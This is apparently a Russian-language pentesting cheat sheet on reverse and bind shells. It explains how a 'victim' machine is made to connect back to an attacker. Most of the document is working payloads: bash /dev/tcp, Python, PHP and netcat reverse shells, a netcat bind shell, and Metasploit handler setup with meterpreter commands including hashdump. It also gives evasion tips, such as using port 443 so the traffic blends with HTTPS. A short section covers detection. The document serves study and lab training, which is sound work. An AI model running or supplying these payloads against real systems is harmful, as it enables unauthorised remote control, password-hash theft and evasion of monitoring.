📌 Шпаргалка #15

Обратные и привязочные оболочки (Reverse & Bind Shells)

✍️ pentestudy 📅 27.03.2026

📌 Что это / Зачем это нужно

Shell (оболочка) — это удалённый терминал, который ты получаешь после взлома. Не чат, не переписка — полноценная командная строка целевой машины. Вводишь команду у себя на Kali — она выполняется на машине жертвы.

Есть два способа установить такой канал: Reverse Shell и Bind Shell. Разница — в направлении соединения. Кто кому «звонит».


⚡ Как вообще работает атака (общая схема)

Прежде чем разбирать типы шеллов, важно понять общую картину. Многие думают, что взлом — это «вломился в машину и сразу управляешь». На деле всё идёт по шагам:

  1. Разведка — находишь уязвимость (открытый порт, дырявый сервис, слабый пароль)
  2. Подготовка — на своей Kali открываешь listener (слушатель) на выбранном порту
  3. Эксплуатация — через уязвимость закидываешь payload (вредоносный код) на цель
  4. Соединение — payload автоматически выполняется и создаёт канал связи
  5. Управление — получаешь shell, работаешь с машиной

Зачем нужен отдельный канал?

Частый вопрос: «Я уже закинул payload через уязвимость — почему нельзя управлять машиной прямо через неё?»

Потому что уязвимость — это одноразовая щель в заборе. Через неё можно просунуть записку (запустить код), но вести разговор через неё нельзя:

  • SQL-инъекция — позволяет выполнить запрос, но не даёт терминал
  • Переполнение буфера — одно действие, потом процесс может упасть
  • Дырявая форма загрузки — заливаешь файл, но интерактивного доступа нет
  • Порт сервиса ≠ терминал — порт 80 отдаёт веб-страницы, порт 21 — файлы. Ни один не даст тебе bash

Payload решает эту проблему: он создаёт новое, стабильное соединение, специально для передачи команд. Аналогия: ты подбросил рацию через открытое окно в здание. Само окно — не средство связи. А вот рация, которая теперь внутри — это твой канал.


🎯 Reverse Shell (обратная оболочка)

Принцип

Ты на своей Kali открываешь порт и ждёшь. Payload на машине жертвы сам подключается к тебе. Жертва «звонит» атакующему.

Пошагово

  1. На Kali запускаешь listener — «жду подключение на порту 4444»
  2. Через уязвимость заливаешь payload на цель
  3. Payload выполняется и заставляет машину жертвы подключиться к твоему IP на порт 4444
  4. Соединение установлено — у тебя shell

Направление

Цель → Атакующий (жертва инициирует соединение к тебе)

Аналогия

Представь здание с охраной (файрвол). Люди выходят из здания свободно — охрана проверяет только тех, кто заходит. Ты стоишь на улице, а твой «агент» (payload) внутри здания просто выходит к тебе. Охрана не мешает — исходящий трафик разрешён.

Команды

Запуск listener на Kali через netcat:

nc -lvnp 4444

Payload на цели (bash reverse shell):

bash -i >& /dev/tcp/ТВОЙ_IP/4444 0>&1

Python reverse shell:

import socket,subprocess,os
s=socket.socket()
s.connect(("ТВОЙ_IP",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(["/bin/bash","-i"])

PHP reverse shell (одна строка):

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/ТВОЙ_IP/4444 0>&1'"); ?>

Через Metasploit:

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST твой_IP
set LPORT 4444
run

Почему reverse shell — стандарт

  • Файрволы обычно не блокируют исходящие соединения (иначе ни браузер, ни обновления не работали бы)
  • Выглядит как обычный трафик — машина просто «открывает сайт»
  • Работает в 90%+ случаев на практике
  • Сложнее обнаружить — иголка в стоге сена среди сотен исходящих соединений

🔧 Bind Shell (привязочная оболочка)

Принцип

Payload открывает порт на машине жертвы и ждёт. Ты сам подключаешься к этому порту. Атакующий «звонит» жертве.

Пошагово

  1. Через уязвимость заливаешь payload на цель
  2. Payload открывает порт (например, 5555) и слушает входящие соединения
  3. Ты с Kali подключаешься к IP жертвы на порт 5555
  4. Соединение установлено — у тебя shell

Направление

Атакующий → Цель (ты инициируешь соединение к жертве)

Аналогия

Жертва открыла дверь в здании и повесила табличку «заходи». Но охрана (файрвол) стоит на входе и может не пустить — потому что входящие соединения на случайные порты блокируются.

Команды

Payload на цели (открывает порт):

nc -lvnp 5555 -e /bin/bash

Подключение с Kali:

nc IP_ЖЕРТВЫ 5555

Когда используется

  • В CTF и лабах где нет файрволов
  • Когда атакующий за NAT и не может принять входящее соединение на себя
  • В изолированных сетях где оба хоста в одном сегменте

🔍 Ключевые различия

Кто слушает:

  • Reverse Shell — слушает атакующий (Kali)
  • Bind Shell — слушает жертва (цель)

Кто подключается:

  • Reverse Shell — подключается жертва → атакующий
  • Bind Shell — подключается атакующий → жертва

Файрвол:

  • Reverse Shell — почти не мешает (исходящий трафик обычно разрешён)
  • Bind Shell — часто блокирует (входящие соединения на случайные порты запрещены)

Обнаружение:

  • Reverse Shell — сложнее заметить, сливается с обычным трафиком
  • Bind Shell — открытый порт = аномалия, мониторинг ловит быстро

На практике:

  • Reverse Shell — 90%+ реальных атак
  • Bind Shell — редкость, запасной вариант

🛡 А можно ли обнаружить reverse shell?

Да. Reverse shell не невидимка — его просто сложнее заметить. Что может выдать:

  • Аномально долгое соединение на нестандартный внешний IP
  • Энтропия трафика — шифрованный shell выглядит подозрительно для анализаторов
  • Нетипичное поведение процессов — если cmd.exe или /bin/bash вдруг порождает сетевое соединение, это красный флаг для EDR
  • IDS/IPS (Snort, Suricata) — могут распознать паттерн reverse shell в трафике
  • Логи файрвола — запись об исходящем соединении всё равно остаётся

Вывод: reverse shell — не невидимка, а «иголка в стоге сена». Найти можно, но нужно знать, что искать.


🧠 Готовые комбо / Практические примеры

Комбо 1: Быстрый reverse shell через netcat

На Kali (слушаешь):

nc -lvnp 4444

На цели (подключается к тебе):

nc -e /bin/bash ТВОЙ_IP 4444

Комбо 2: Reverse shell если на цели нет netcat

На Kali (слушаешь):

nc -lvnp 4444

На цели через bash:

bash -i >& /dev/tcp/ТВОЙ_IP/4444 0>&1

Комбо 3: Полный цикл через Metasploit

msfconsole
search <уязвимость>
use <эксплойт>
set RHOSTS IP_жертвы
set LHOST твой_IP
set LPORT 4444
run

После успешной эксплуатации получаешь meterpreter — продвинутую оболочку. Базовые команды:

sysinfo            # инфо о системе
getuid             # текущий пользователь
shell              # обычный терминал
download файл      # скачать файл с цели
upload файл        # загрузить файл на цель
screenshot         # скриншот экрана
hashdump           # дамп хэшей паролей

Комбо 4: Апгрейд тупого shell до интерактивного

Часто после эксплуатации ты получаешь «тупой» shell — без автодополнения, без Ctrl+C. Фикс:

python3 -c 'import pty;pty.spawn("/bin/bash")'

Потом:

# Ctrl+Z (свернуть shell)
stty raw -echo; fg
# Enter, Enter
export TERM=xterm

Теперь у тебя полноценный интерактивный терминал.


⚠️ Важные моменты

  • Reverse shell — всегда первый выбор. Bind shell — только если reverse не вариант (NAT, специфика сети)
  • Порт 4444 — дефолтный, но палевный. В реальных условиях лучше использовать 443 или 80 — они сливаются с обычным HTTPS/HTTP трафиком
  • Payload и уязвимость — разные вещи. Уязвимость — дверь. Payload — то, что ты через неё засовываешь. Shell — результат работы payload
  • Firewall блокирует bind shell в 90% случаев. Не трать время, если не уверен что порты открыты
  • Meterpreter лучше обычного shell — больше функций, шифрование, стабильность. Но и больше палится антивирусами
  • Всегда проверяй свой IP перед атакой: ip a или ifconfig. Неправильный LHOST = соединение не придёт
Содержание
📌 Что это / Зачем это нужно ⚡ Как вообще работает атака (общая схема) Зачем нужен отдельный канал? 🎯 Reverse Shell (обратная оболочка) Принцип Пошагово Направление Аналогия Команды Почему reverse shell — стандарт 🔧 Bind Shell (привязочная оболочка) Принцип Пошагово Направление Аналогия Команды Когда используется 🔍 Ключевые различия 🛡 А можно ли обнаружить reverse shell? 🧠 Готовые комбо / Практические примеры Комбо 1: Быстрый reverse shell через netcat Комбо 2: Reverse shell если на цели нет netcat Комбо 3: Полный цикл через Metasploit Комбо 4: Апгрейд тупого shell до интерактивного ⚠️ Важные моменты